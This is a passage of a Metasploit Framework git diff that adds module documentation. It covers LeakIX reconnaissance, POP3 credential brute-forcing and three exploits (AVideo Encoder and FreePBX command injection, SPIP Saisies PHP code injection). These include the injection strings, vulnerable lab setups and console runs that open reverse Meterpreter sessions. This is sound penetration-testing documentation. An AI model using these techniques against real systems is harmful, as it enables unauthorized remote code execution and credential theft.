+0000", "path": "/modules/post/windows/manage/pxeexploit.rb", "is_install_path": true, "ref_name": "windows/manage/pxeexploit", diff --git a/db/schema.rb b/db/schema.rb index 1d74b6c434eca..7ef2a2ef85e93 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -10,7 +10,7 @@ # # It's strongly recommended that you check this file into your version control system. -ActiveRecord::Schema[7.2].define(version: 2025_07_21_114306) do +ActiveRecord::Schema[7.2].define(version: 2026_01_30_124052) do # These are extensions that must be enabled in order to support this database enable_extension "plpgsql" @@ -576,6 +576,12 @@ t.index ["module_run_id"], name: "index_sessions_on_module_run_id" end + create_table "sessions_tags", force: :cascade do |t| + t.integer "session_id" + t.integer "tag_id" + t.index ["session_id", "tag_id"], name: "index_sessions_tags_on_session_id_and_tag_id", unique: true + end + create_table "tags", id: :serial, force: :cascade do |t| t.integer "user_id" t.string "name", limit: 1024 @@ -646,6 +652,7 @@ t.string "company" t.string "prefs", limit: 524288 t.boolean "admin", default: true, null: false + t.boolean "sso_enabled", default: false, null: false end create_table "vuln_attempts", id: :serial, force: :cascade do |t| diff --git a/docs/metasploit-framework.wiki/How-to-Send-an-HTTP-Request-Using-HttpClient.md b/docs/metasploit-framework.wiki/How-to-Send-an-HTTP-Request-Using-HttpClient.md index 99fdea52b4d58..d835900e07a17 100644 --- a/docs/metasploit-framework.wiki/How-to-Send-an-HTTP-Request-Using-HttpClient.md +++ b/docs/metasploit-framework.wiki/How-to-Send-an-HTTP-Request-Using-HttpClient.md @@ -81,14 +81,17 @@ Any object passed to `cookie` that isn't an instance of HttpCookieJar will have ---- -Module authors can also pass an instance of `HttpCookieJar` with the `cookie` option: +Module authors can also pass an instance of `HttpCookieJar` with the `cookie` option. + +Important: Cookies added to a `HttpCookieJar` must have both `domain` and `path` set, and cookie values must be strings. Without these attributes the underlying cookie store will raise an `ArgumentError`. ```ruby cj = Msf::Exploit::Remote::HTTP::HttpCookieJar.new -cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('PHPSESSID', @phpsessid)) -cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('AsWebStatisticsCooKie', 1)) -cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('shellinaboxCooKie', 1)) +target_host = datastore['RHOST'] +cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('PHPSESSID', @phpsessid, domain: target_host, path: '/')) +cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('AsWebStatisticsCooKie', '1', domain: target_host, path: '/')) +cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('shellinaboxCooKie', '1', domain: target_host, path: '/')) res = send_request_cgi({ 'method' => 'GET', diff --git a/docs/metasploit-framework.wiki/Running-Private-Modules.md b/docs/metasploit-framework.wiki/Running-Private-Modules.md index 6d1ec4f6b4ce5..d568d966de452 100644 --- a/docs/metasploit-framework.wiki/Running-Private-Modules.md +++ b/docs/metasploit-framework.wiki/Running-Private-Modules.md @@ -37,8 +37,6 @@ For full details: If you already have msfconsole running, use a `reload_all` command to pick up your new modules. If not, just start msfconsole and they'll be picked up automatically. If you'd like to test with something generic, I have a module posted up as a gist, here: , so let's give it a shot: ```bash -mkdir -p $HOME/.msf4/modules/exploits/test -curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gist.github.com/todb-r7/5935519/raw/17f7e40ab9054051c1f7e0655c6f8c8a1787d4f5/test_module.rb todb@ubuntu:~$ mkdir -p $HOME/.msf4/modules/exploits/test todb@ubuntu:~$ curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gist.github.com/todb-r7/5935519/raw/6e5d2da61c82b0aa8cec36825363118e9dd5f86b/test_module.rb % Total % Received % Xferd Average Speed Time Time Time Current diff --git a/documentation/modules/auxiliary/gather/ldap_query.md b/documentation/modules/auxiliary/gather/ldap_query.md index 3460c65ecf2dd..d91bde2c1569b 100644 --- a/documentation/modules/auxiliary/gather/ldap_query.md +++ b/documentation/modules/auxiliary/gather/ldap_query.md @@ -78,6 +78,12 @@ Used only when the `RUN_SINGLE_QUERY` action is used. Should be a comma separate of attributes to display from the full result set for each entry that was returned by the target LDAP server. Used to filter the results down to manageable sets of data. +### LDAP::QuerySacl +Query the SACL on security descriptors. If the authenticated user does not have permission +to view the SACL, the entire security descriptor will be omitted by the server. Setting +this to false enables the other fields of the security descriptor to be viewed when those +permissions are not present. Only applicable for Active Directory LDAP servers. + ## Scenarios ### RUN_SINGLE_QUERY with Table Output diff --git a/documentation/modules/auxiliary/gather/leakix_search.md b/documentation/modules/auxiliary/gather/leakix_search.md new file mode 100644 index 0000000000000..843b6d0a7567a --- /dev/null +++ b/documentation/modules/auxiliary/gather/leakix_search.md @@ -0,0 +1,255 @@ +## Vulnerable Application + +This module uses the [LeakIX](https://leakix.net) API to search for exposed services +and data leaks across the internet. LeakIX indexes internet-facing services and leaked +credentials/databases, similar to Shodan or Censys but with a focus on data leaks. + +An API key is required. Free keys are available at [https://leakix.net](https://leakix.net). +Pro keys unlock the BULK streaming action and higher page limits. + +The module supports six actions: + +- **SEARCH** - Query LeakIX with a search string (leak or service scope). Paginated, 20 results per page, max 500 pages. +- **HOST** - Retrieve all known services and leaks for a specific IP address. +- **DOMAIN** - Retrieve all known services and leaks for a specific domain. +- **SUBDOMAINS** - Enumerate known subdomains for a domain. +- **PLUGINS** - List all available LeakIX scanner plugins (useful for building queries). +- **BULK** - Stream all leak results via the bulk NDJSON API (Pro only, leak scope only). + +## Verification Steps + +1. Do: `use auxiliary/gather/leakix_search` +1. Do: `set LEAKIX_APIKEY ` +1. Do: `set QUERY +country:"France" +port:3306` +1. Do: `run` +1. Verify that results are returned in a table with IP, port, protocol, host, country, organization, software, type, and source columns. + +## Options + +### LEAKIX_APIKEY + +The LeakIX API key. Required for all actions. Free keys are available at [https://leakix.net](https://leakix.net). + +### QUERY + +The search query string. Required for SEARCH and BULK actions. Uses LeakIX query syntax: + +- `+country:"France"` - filter by country +- `+port:3306` - filter by port +- `plugin:HttpOpenProxy` - filter by plugin name +- `+software.name:"nginx" +country:"US"` - combine filters + +### SCOPE + +Search scope: `leak` or `service`. Default is `leak`. The BULK action only supports `leak` scope. + +### MAXPAGE + +Maximum number of pages to collect for SEARCH (1-500, 20 results per page). Default is 1. The API enforces a hard limit of 500 pages regardless of plan. + +### MAXRESULTS + +Stop collecting after this many results. Works with SEARCH and BULK. Set to 0 (default) for unlimited. + +### TARGET_IP + +Target IP address for the HOST action. + +### TARGET_DOMAIN + +Target domain for the DOMAIN and SUBDOMAINS actions. + +### OUTFILE + +Path to save the results table output. + +### DATABASE + +Set to `true` to add discovered hosts and services to the Metasploit database. + +## Scenarios + +### SEARCH - Find exposed MySQL servers in France + +``` +msf6 > use auxiliary/gather/leakix_search +msf6 auxiliary(gather/leakix_search) > set LEAKIX_APIKEY +LEAKIX_APIKEY => +msf6 auxiliary(gather/leakix_search) > set QUERY +country:"France" +port:3306 +QUERY => +country:"France" +port:3306 +msf6 auxiliary(gather/leakix_search) > set SCOPE service +SCOPE => service +msf6 auxiliary(gather/leakix_search) > run + +[*] Fetching page 1/1... +[+] Got 20 results from page 1 (total: 20) +[*] Total: 20 results + +LeakIX Results +============== + + IP:Port Protocol Host Country Organization Software Type Source + ------ -------- ---- ------- ------------ -------- ---- ------ + x.x.x.x:3306 mysql db.example.com France OVH SAS MySQL 5.7 service MysqlOpenPlugin + x.x.x.x:3306 mysql server2.example.fr France Online S.A.S. MySQL 8.0 service MysqlOpenPlugin + ... + +[*] Auxiliary module execution completed +``` + +### HOST - Lookup a specific IP + +``` +msf6 auxiliary(gather/leakix_search) > set ACTION HOST +ACTION => HOST +msf6 auxiliary(gather/leakix_search) > set TARGET_IP 1.2.3.4 +TARGET_IP => 1.2.3.4 +msf6 auxiliary(gather/leakix_search) > run + +[*] Fetching host details for 1.2.3.4... +[*] 1.2.3.4: 3 results + +LeakIX Results +============== + + IP:Port Protocol Host Country Organization Software Type Source + ------ -------- ---- ------- ------------ -------- ---- ------ + 1.2.3.4:22 ssh host.example United States Example Inc OpenSSH 8 service SshOpenPlugin + 1.2.3.4:80 http host.example United States Example Inc nginx 1.18 service HttpOpenPlugin + 1.2.3.4:443 https host.example United States Example Inc nginx 1.18 service HttpOpenPlugin + +[*] Auxiliary module execution completed +``` + +### DOMAIN - Lookup a specific domain + +``` +msf6 auxiliary(gather/leakix_search) > set ACTION DOMAIN +ACTION => DOMAIN +msf6 auxiliary(gather/leakix_search) > set TARGET_DOMAIN example.com +TARGET_DOMAIN => example.com +msf6 auxiliary(gather/leakix_search) > run + +[*] Fetching domain details for example.com... +[*] example.com: 5 results + +LeakIX Results +============== + + IP:Port Protocol Host Country Organization Software Type Source + ------ -------- ---- ------- ------------ -------- ---- ------ + x.x.x.x:443 https www.example.com United States Example Inc nginx 1.21 service HttpOpenPlugin + x.x.x.x:22 ssh mail.example.com United States Example Inc OpenSSH 8.4 service SshOpenPlugin + ... + +[*] Auxiliary module execution completed +``` + +### SUBDOMAINS - Enumerate subdomains + +``` +msf6 auxiliary(gather/leakix_search) > set ACTION SUBDOMAINS +ACTION => SUBDOMAINS +msf6 auxiliary(gather/leakix_search) > set TARGET_DOMAIN example.com +TARGET_DOMAIN => example.com +msf6 auxiliary(gather/leakix_search) > run + +[*] Fetching subdomains for example.com... +[*] Found 12 subdomains + +Subdomains for example.com +=========================== + + Subdomain Distinct IPs Last Seen + --------- ------------ --------- + www.example.com 2 2025-01-15T10:30:00Z + mail.example.com 1 2025-01-14T08:22:00Z + api.example.com 3 2025-01-15T12:00:00Z + dev.example.com 1 2025-01-10T06:15:00Z + ... + +[*] Auxiliary module execution completed +``` + +### PLUGINS - List available plugins + +``` +msf6 auxiliary(gather/leakix_search) > set ACTION PLUGINS +ACTION => PLUGINS +msf6 auxiliary(gather/leakix_search) > run + +[*] Fetching available plugins... +[*] Found 45 plugins + +LeakIX Plugins +=============== + + Plugin Name + ----------- + ApacheStatusPlugin + CouchDbOpenPlugin + ElasticSearchOpenPlugin + GitConfigPlugin + HttpOpenProxy + MongoOpenPlugin + MysqlOpenPlugin + SshOpenPlugin + ... + +[*] Auxiliary module execution completed +``` + +### BULK - Stream bulk leak results (Pro key required) + +``` +msf6 auxiliary(gather/leakix_search) > set ACTION BULK +ACTION => BULK +msf6 auxiliary(gather/leakix_search) > set QUERY +country:"Germany" +QUERY => +country:"Germany" +msf6 auxiliary(gather/leakix_search) > set MAXRESULTS 50 +MAXRESULTS => 50 +msf6 auxiliary(gather/leakix_search) > run + +[*] Streaming bulk results (Pro API required, leak scope)... +[*] Streamed 50 events... +[*] Reached MAXRESULTS limit (50) +[*] Bulk results: 50 results + +LeakIX Results +============== + + IP:Port Protocol Host Country Organization Software Type Source + ------ -------- ---- ------- ------------ -------- ---- ------ + x.x.x.x:9200 http elastic.example.de Germany Hetzner Online GmbH Elastic 7.10 leak ElasticSearchOpenPlugin + x.x.x.x:27017 mongodb mongo.example.de Germany OVH SAS MongoDB 4.4 leak MongoOpenPlugin + ... + +[*] Auxiliary module execution completed +``` + +### Saving results to database + +Set `DATABASE true` to populate the Metasploit services database with discovered hosts and services: + +``` +msf6 auxiliary(gather/leakix_search) > set DATABASE true +DATABASE => true +msf6 auxiliary(gather/leakix_search) > run + +[*] Fetching page 1/1... +[+] Got 20 results from page 1 (total: 20) +[*] Total: 20 results +... +[*] Auxiliary module execution completed + +msf6 auxiliary(gather/leakix_search) > services + +Services +======== + +host port proto name state info +---- ---- ----- ---- ----- ---- +x.x.x.x 3306 tcp mysql open MySQL 5.7 +x.x.x.x 22 tcp ssh open OpenSSH 8.4 +... +``` diff --git a/documentation/modules/auxiliary/scanner/pop3/pop3_login.md b/documentation/modules/auxiliary/scanner/pop3/pop3_login.md new file mode 100644 index 0000000000000..ffe3de102c881 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/pop3/pop3_login.md @@ -0,0 +1,127 @@ +## Vulnerable Application + +POP3 is an application-layer Internet standard protocol used by e-mail clients +to retrieve e-mail from a mail server. + +This module in particular attempts to authenticate to a POP3 service. +The default wordlists are: +- [unix_users.txt](https://github.com/rapid7/metasploit-framework/blob/master/data/wordlists/unix_users.txt) for users and +- [unix_passwords.txt](https://github.com/rapid7/metasploit-framework/blob/master/data/wordlists/unix_passwords.txt) for passowords +## Verification Steps + +1. Install and configure a pop3 server (ex: with dovecot) +2. Start msfconsole +3. Do: `use auxiliary/scanner/pop3/pop3_login` +4. Do: `set rhosts [IP]` +5. Do: `run` + +## Options + +### ANONYMOUS_LOGIN + + Attempt to login with a blank username and password + +### BLANK_PASSWORDS + + Try blank passwords for all users + +### BRUTEFORCE_SPEED + + How fast to bruteforce, from 0 to 5 + +### DB_ALL_CREDS + + Try each user/password couple stored in the current database + +### DB_ALL_PASS + + Add all passwords in the current database to the list + +### DB_ALL_USERS + + Add all users in the current database to the list + +### DB_SKIP_EXISTING + + Skip existing credentials stored in the current database (Accepted: none, user, user&realm) + +### PASSWORD + + A specific password to authenticate with + +### PASS_FILE + + Newline separated list of probable users passwords. Default depends on install location, + however it will be within metasploit-framework/data/wordlists/unix_passwords.txt + +### STOP_ON_SUCCESS + + Stop guessing when a credential works for a host + +### THREADS + + The number of concurrent threads (max one per host) + +### USERNAME + + A specific username to authenticate as + +### USERPASS_FILE + + File containing users and pass words separated by space, one pair per line + +### USER_AS_PASS + + Try the username as the password for all users + + +### USER_FILE + + Newline separated list of probable users accounts. Default depends on install location, + however it will be within metasploit-framework/data/wordlists/unix_users.txt + + +### VERBOSE + + Whether to print output for all attempts + + +## Scenarios + +### Dovecot on Kali-Linux + + + + +First we need to install an email server, here we will use dovecot: + +- `sudo apt install dovecot-core dovecot-pop3d` version 2.3 will be installed + +Then we can configure it + +- In /etc/dovecot/dovecot.conf uncomment the line `#protocols = pop3 imap lmtp` + +- In /etc/dovecot/conf.d/10-ssl.conf change the line `ssl = yes` to `ssl = no` (obviously this is bad practice) + +Then we create a new user + +- `sudo useradd -m alice && echo "alice:password123" | sudo chpasswd` + +We can now start the server with `sudo systemctl start dovecot` + +Now we can go into msfconsole: + +``` +msf > use auxiliary/scanner/pop3/pop3_login +msf auxiliary(scanner/pop3/pop3_login) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/pop3/pop3_login) > set username alice +username => alice +msf auxiliary(scanner/pop3/pop3_login) > set password password123 +password => password123 +msf auxiliary(scanner/pop3/pop3_login) > run +[+] 127.0.0.1:110 - 127.0.0.1:110 - Success: 'alice:password123' '+OK Logged in. ' +[!] 127.0.0.1:110 - No active DB -- Credential data will not be saved! +[*] 127.0.0.1:110 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md b/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md new file mode 100644 index 0000000000000..2db409e4eba9d --- /dev/null +++ b/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md @@ -0,0 +1,171 @@ +## Vulnerable Application + +This module exploits an unauthenticated OS command injection vulnerability in AVideo +Encoder's `getImage.php` endpoint. + +**CVE ID:** CVE-2026-29058 + +**Affected Versions:** AVideo Encoder before version 7.0 (commit 78178d1) + +### Vulnerability Overview + +The `getImage.php` endpoint accepts a `base64Url` GET parameter which is base64-decoded and +passed through PHP's `FILTER_VALIDATE_URL`. The validated URL is then interpolated directly +into an ffmpeg shell command within double quotes, without any use of `escapeshellarg()` or +metacharacter filtering. + +PHP's `FILTER_VALIDATE_URL` does not block shell metacharacters such as backticks or `$()` +in the URL path component. A crafted URL like `http://x/$(cmd)` passes validation and gets +interpolated into: + +``` +ffmpeg -i "http://x/$(cmd)" -f image2 ... +``` + +This results in arbitrary command execution as `www-data`. The Encoder code is served by the +main AVideo Apache container (mounted at `/Encoder`), so exploitation gives access to the +main application context including database credentials and configuration. + +Fixed in AVideo Encoder version 7.0 (commit `78178d1`) which added `escapeshellarg()` and +shell metacharacter stripping. + +### Setup + +This lab reuses the same AVideo Docker environment as the `avideo_notify_ffmpeg_unauth_rce` +module, with one additional step: reverting the Encoder to the pre-patch (vulnerable) +version. + +1. Clone the AVideo repository and checkout the vulnerable commit: + +```bash +cd /tmp +git clone https://github.com/WWBN/AVideo.git +cd AVideo +git checkout 596df4e5b0597c9806da76ebec5bbe3b305953e4 +``` + +2. Create a `.env` file with the following configuration: + +```bash +cat > .env << EOF +SERVER_NAME=localhost +CREATE_TLS_CERTIFICATE=yes +DB_MYSQL_HOST=database +DB_MYSQL_PORT=3306 +DB_MYSQL_NAME=avideo +DB_MYSQL_USER=avideo +DB_MYSQL_PASSWORD=avideo +HTTP_PORT=80 +HTTPS_PORT=9443 +NETWORK_SUBNET=172.99.0.0/16 +EOF +``` + +3. Fix MariaDB corrupted tc.log issue (required for first-time setup): + +```bash +cat > deploy/docker-entrypoint-mariadb << 'SCRIPTEOF' +#!/bin/bash +set -e + +if [ -f /var/lib/mysql/tc.log ]; then + MAGIC_HEADER=$(head -c 4 /var/lib/mysql/tc.log | od -An -tx1 | tr -d ' \n' 2>/dev/null || echo "") + if [ "$MAGIC_HEADER" != "01000000" ] && [ -n "$MAGIC_HEADER" ]; then + echo "[Entrypoint]: Removing corrupted tc.log file (bad magic header: $MAGIC_HEADER)" + rm -f /var/lib/mysql/tc.log + fi +fi +SCRIPTEOF +chmod +x deploy/docker-entrypoint-mariadb + +cat >> Dockerfile.mariadb << 'DOCKERFILEEOF' + +COPY deploy/docker-entrypoint-mariadb /usr/local/bin/docker-entrypoint-mariadb +RUN chmod +x /usr/local/bin/docker-entrypoint-mariadb +RUN sed -i '2i /usr/local/bin/docker-entrypoint-mariadb' /usr/local/bin/docker-entrypoint.sh +DOCKERFILEEOF + +docker compose build database database_encoder +``` + +4. Start the Docker Compose environment: + +```bash +docker compose up -d +``` + +5. Wait for the `avideo` container to finish its entrypoint (this takes 1-2 minutes). +The entrypoint clones the Encoder repo into `.compose/encoder` and runs the database +installer. However, the Docker image ships with a pre-existing `configuration.php`, so +the CLI installer skips table creation. Fix the database permissions and initialize the +tables manually: + +```bash +docker exec avideo-database-1 chown -R mysql:mysql /var/lib/mysql/ + +docker exec avideo-avideo-1 bash -c " + mv /var/www/html/AVideo/videos/configuration.php /var/www/html/AVideo/videos/configuration.php.bak + cd /var/www/html/AVideo/install && php cli.php + mv /var/www/html/AVideo/videos/configuration.php.bak /var/www/html/AVideo/videos/configuration.php +" +``` + +Verify that `http://localhost` returns the AVideo interface before proceeding. + +6. Revert the Encoder to the pre-patch (vulnerable) version. +The `.compose/encoder` directory is a git clone of +[WWBN/AVideo-Encoder](https://github.com/WWBN/AVideo-Encoder), created automatically +by the container entrypoint. The security fix in commit `78178d1` patched multiple files +(not just `getImage.php`), so the entire working tree must be reverted: + +```bash +docker exec avideo-avideo-1 bash -c " + git config --global --add safe.directory /var/www/html/AVideo/Encoder + cd /var/www/html/AVideo/Encoder && git checkout 78178d1~1 -- . +" +docker compose restart avideo +``` + +After this step, the `/Encoder/objects/getImage.php` endpoint is vulnerable to command +injection via the `base64Url` parameter. + +## Verification Steps + +1. Start `msfconsole` +2. `use exploit/linux/http/avideo_encoder_getimage_cmd_injection` +3. `set RHOSTS ` +4. `set RPORT ` (default: 80) +5. `set LHOST ` (for reverse connection) +6. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp` +7. `set FETCH_SRVPORT ` (if default 8080 is taken) +8. `exploit` +9. **Verify** that you get a Meterpreter session + +## Options + +This module has no non-default options. + +## Scenarios + +### Meterpreter via fetch payload (cmd/linux/http/x64/meterpreter/reverse_tcp) + +This scenario demonstrates exploitation against AVideo with a vulnerable Encoder, using a +fetch payload to deliver a Meterpreter binary: + +``` +msf exploit(linux/http/avideo_encoder_getimage_cmd_injection) > set RHOSTS localhost +RHOSTS => localhost +msf exploit(linux/http/avideo_encoder_getimage_cmd_injection) > set RPORT 80 +RPORT => 80 +msf exploit(linux/http/avideo_encoder_getimage_cmd_injection) > set LHOST 172.99.0.1 +LHOST => 172.99.0.1 +msf exploit(linux/http/avideo_encoder_getimage_cmd_injection) > exploit +[*] Started reverse TCP handler on 172.99.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Command injection confirmed via sleep timing (3/3 checks passed) +[*] Sending command injection via getImage.php... +[*] Sending stage (3090404 bytes) to 172.99.0.7 +[*] Meterpreter session 1 opened (172.99.0.1:4444 -> 172.99.0.7:46970) at 2026-03-06 21:26:32 +0100 + +meterpreter > +``` diff --git a/documentation/modules/exploit/multi/http/spip_saisies_rce.md b/documentation/modules/exploit/multi/http/spip_saisies_rce.md new file mode 100644 index 0000000000000..e7d6e7ce6a2ff --- /dev/null +++ b/documentation/modules/exploit/multi/http/spip_saisies_rce.md @@ -0,0 +1,222 @@ +## Vulnerable Application + +This module exploits an unauthenticated PHP code injection in the SPIP Saisies +plugin (CVE-2025-71243). The `_anciennes_valeurs` form parameter is interpolated +unsanitized into a hidden field rendered with `interdire_scripts=false`, giving +direct PHP code execution via SPIP's template eval. + +Exploitation requires a publicly accessible page containing a saisies-powered +form, most commonly created with the Formidable plugin. Versions 5.4.0 through +5.11.0 of the saisies plugin are affected. + +### Docker Setup + +```bash +mkdir spip-lab && cd spip-lab +``` + +Create `docker-compose.yml`: + +```yaml +services: + spip: + image: ipeos/spip:latest + container_name: spip-cve + ports: + - "8888:80" + environment: + SPIP_AUTO_INSTALL: 1 + SPIP_DB_SERVER: mysql + SPIP_DB_HOST: db + SPIP_DB_LOGIN: spip + SPIP_DB_PASS: spip + SPIP_DB_NAME: spip + SPIP_ADMIN_NAME: Admin + SPIP_ADMIN_LOGIN: admin + SPIP_ADMIN_EMAIL: admin@spip.local + SPIP_ADMIN_PASS: adminadmin + SPIP_SITE_ADDRESS: http://localhost:8888 + volumes: + - ./setup.sh:/opt/setup.sh + entrypoint: ["/bin/bash", "-c", "/opt/setup.sh & exec /docker-entrypoint.sh apache2-foreground"] + depends_on: + db: + condition: service_healthy + healthcheck: + test: ["CMD", "bash", "-c", "curl -sf http://localhost/spip.php?page=contact | grep -q _anciennes_valeurs"] + interval: 10s + timeout: 5s + retries: 30 + + db: + image: mariadb:10.11 + container_name: spip-cve-db + environment: + MYSQL_DATABASE: spip + MYSQL_USER: spip + MYSQL_PASSWORD: spip + MYSQL_ROOT_PASSWORD: root + healthcheck: + test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"] + interval: 5s + timeout: 3s + retries: 10 +``` + +Create `setup.sh`: + +```bash +#!/bin/bash +PLUGINS_DIR="/var/www/html/plugins" +SAISIES_URL="https://files.spip.org/spip-zone/spip-contrib-extensions/saisies-222af-saisies-5.10.0.zip" + +echo "[*] Waiting for SPIP to be fully installed..." +until [ -f /var/www/html/config/connect.php ]; do + sleep 2 +done +sleep 5 + +echo "[*] Installing vulnerable saisies plugin v5.10.0..." +apt-get update -qq && apt-get install -y -qq unzip >/dev/null 2>&1 +mkdir -p "$PLUGINS_DIR" +curl -sL "$SAISIES_URL" -o /tmp/saisies.zip +unzip -qo /tmp/saisies.zip -d "$PLUGINS_DIR/" +chown -R www-data:www-data "$PLUGINS_DIR/" + +echo "[*] Activating saisies plugin..." +echo "yes" | spip plugins:activer saisies + +echo "[*] Creating contact form with _saisies..." +mkdir -p /var/www/html/formulaires +cat > /var/www/html/formulaires/contact.php << 'FORMPHP' + "input", "options" => ["nom" => "nom", "label" => "Votre nom", "obligatoire" => "oui"]], + ["saisie" => "selection", "options" => ["nom" => "sujet", "label" => "Sujet", "datas" => ["contact" => "Contact", "support" => "Support", "autre" => "Autre"]]], + ["saisie" => "textarea", "options" => ["nom" => "message", "label" => "Message", "obligatoire" => "oui", "rows" => 5]], + ]; +} +function formulaires_contact_charger_dist() { return ["nom" => "", "sujet" => "", "message" => ""]; } +function formulaires_contact_verifier_dist() { $e = []; if (!_request("nom")) $e["nom"] = "Obligatoire"; if (!_request("message")) $e["message"] = "Obligatoire"; return $e; } +function formulaires_contact_traiter_dist() { return ["message_ok" => "Merci !"]; } +FORMPHP + +cat > /var/www/html/formulaires/contact.html << 'FORMHTML' +
+[(#ENV{message_ok}|oui)

[(#ENV{message_ok})]

] +[(#ENV{editable}|oui) +
+#ACTION_FORMULAIRE{#ENV{action},#ENV{form}} + +

+
+] +
+FORMHTML + +mkdir -p /var/www/html/squelettes +cat > /var/www/html/squelettes/contact.html << 'SQHTML' + +Contact#INSERT_HEAD +

Contact

#FORMULAIRE_CONTACT + +SQHTML + +chown -R www-data:www-data /var/www/html/formulaires/ /var/www/html/squelettes/ +rm -rf /var/www/html/tmp/cache/ + +echo "[+] Lab ready! Form at http://localhost:8888/spip.php?page=contact" +``` + +```bash +chmod +x setup.sh +docker compose up -d +``` + +Wait about a minute for the setup script to install saisies and create the +contact form. The form will be at `http://localhost:8888/spip.php?page=contact`. + +## Verification Steps + +1. Start `msfconsole` +2. `use exploit/multi/http/spip_saisies_rce` +3. `set RHOSTS 127.0.0.1` +4. `set RPORT 8888` +5. `set LHOST ` +6. `check` - verify it returns `Appears` +7. `run` - verify a Meterpreter session opens + +## Options + +### FORM_PAGE + +Page containing a saisies-powered form. Set to a specific page name (e.g. +`contact`) if you already know which page has the form, or leave as `crawl` +(default) to automatically discover one by fetching the SPIP sitemap and +following internal links. + +### CRAWL_MAX_PAGES + +Maximum number of pages to visit when crawling. Default is 100. + +## Scenarios + +### SPIP with Saisies 5.10.0 - PHP Meterpreter (direct page) + +``` +msf6 > use exploit/multi/http/spip_saisies_rce +msf6 exploit(multi/http/spip_saisies_rce) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf6 exploit(multi/http/spip_saisies_rce) > set RPORT 8889 +RPORT => 8889 +msf6 exploit(multi/http/spip_saisies_rce) > set FORM_PAGE contact +FORM_PAGE => contact +msf6 exploit(multi/http/spip_saisies_rce) > set LHOST 172.17.0.1 +LHOST => 172.17.0.1 +msf6 exploit(multi/http/spip_saisies_rce) > set PAYLOAD php/meterpreter/reverse_tcp +PAYLOAD => php/meterpreter/reverse_tcp +msf6 exploit(multi/http/spip_saisies_rce) > run + +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Saisies plugin version: 5.10.0 +[+] The target appears to be vulnerable. Saisies plugin 5.10.0 is in the vulnerable range (5.4.0 - 5.11.0). +[+] Form found at /spip.php?page=contact +[*] Sending payload... +[*] Sending stage (42137 bytes) to 172.18.0.3 +[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.18.0.3:46968) at 2026-02-21 09:23:35 +0100 + +meterpreter > +``` + +### SPIP with Saisies 5.10.0 - PHP Meterpreter (crawl mode) + +``` +msf6 > use exploit/multi/http/spip_saisies_rce +msf6 exploit(multi/http/spip_saisies_rce) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf6 exploit(multi/http/spip_saisies_rce) > set RPORT 8889 +RPORT => 8889 +msf6 exploit(multi/http/spip_saisies_rce) > set FORM_PAGE crawl +FORM_PAGE => crawl +msf6 exploit(multi/http/spip_saisies_rce) > set LHOST 172.17.0.1 +LHOST => 172.17.0.1 +msf6 exploit(multi/http/spip_saisies_rce) > set PAYLOAD php/meterpreter/reverse_tcp +PAYLOAD => php/meterpreter/reverse_tcp +msf6 exploit(multi/http/spip_saisies_rce) > run + +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Saisies plugin version: 5.10.0 +[+] The target appears to be vulnerable. Saisies plugin 5.10.0 is in the vulnerable range (5.4.0 - 5.11.0). +[*] Crawling for saisies forms (max 100 pages)... +[+] Form found at /spip.php?page=contact (checked 3 pages) +[*] Sending payload... +[*] Sending stage (42137 bytes) to 172.18.0.3 +[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.18.0.3:50544) at 2026-02-21 09:23:53 +0100 + +meterpreter > +``` diff --git a/documentation/modules/exploit/unix/http/freepbx_filestore_cmd_injection.md b/documentation/modules/exploit/unix/http/freepbx_filestore_cmd_injection.md new file mode 100644 index 0000000000000..71abe15c75feb --- /dev/null +++ b/documentation/modules/exploit/unix/http/freepbx_filestore_cmd_injection.md @@ -0,0 +1,215 @@ +## Vulnerable Application + +FreePBX is an open-source web-based graphical user interface for managing Asterisk. This module exploits an authenticated command injection +vulnerability (CVE-2025-64328) in the FreePBX filestore module. + +The vulnerability exists in the SSH driver's testconnection functionality, specifically in the `check_ssh_connect()` function located at +`/admin/modules/filestore/drivers/SSH/testconnection.php`. The function accepts user-controlled input for the SSH key path parameter, which +is then passed unsanitized to `exec()` calls when generating SSH keys. + +By injecting shell command substitution syntax (e.g., `$(command)`) into the key parameter, an authenticated user can execute arbitrary +commands on the underlying system with the privileges of the web server process (typically the asterisk user). + +This vulnerability affects filestore module versions 17.0.2.36 through 17.0.2.44 (introduced in 17.0.2.36, patched in 17.0.3). The module +requires valid FreePBX credentials for a user account that has access to the filestore module. The user must be in the "Filestore" group +(administrator or low-privilege user). + +## Vulnerability Analysis + +The vulnerability was introduced in filestore module version 17.0.2.36 when the `testconnection.php` file was first added to provide +SSH connection testing functionality (commit: e4ec96ab - "Filestore: Add Connection testing"). The initial implementation contained +multiple `exec()` calls that used user-controlled input without proper sanitization: + +1. **Line 9**: `exec("ssh-keygen -t ecdsa -b 521 -f $key -N \"\" && chown asterisk:asterisk $key && chmod 600 $key");` + - The `$key` parameter is directly interpolated into the command string without sanitization. + +2. **Line 12**: `exec("ssh-keygen -y -f $key > $publickey");` + - The `$key` parameter is again used without sanitization, causing the injected command to execute a second time. + +Due to this code structure, the injected command is executed multiple times within the 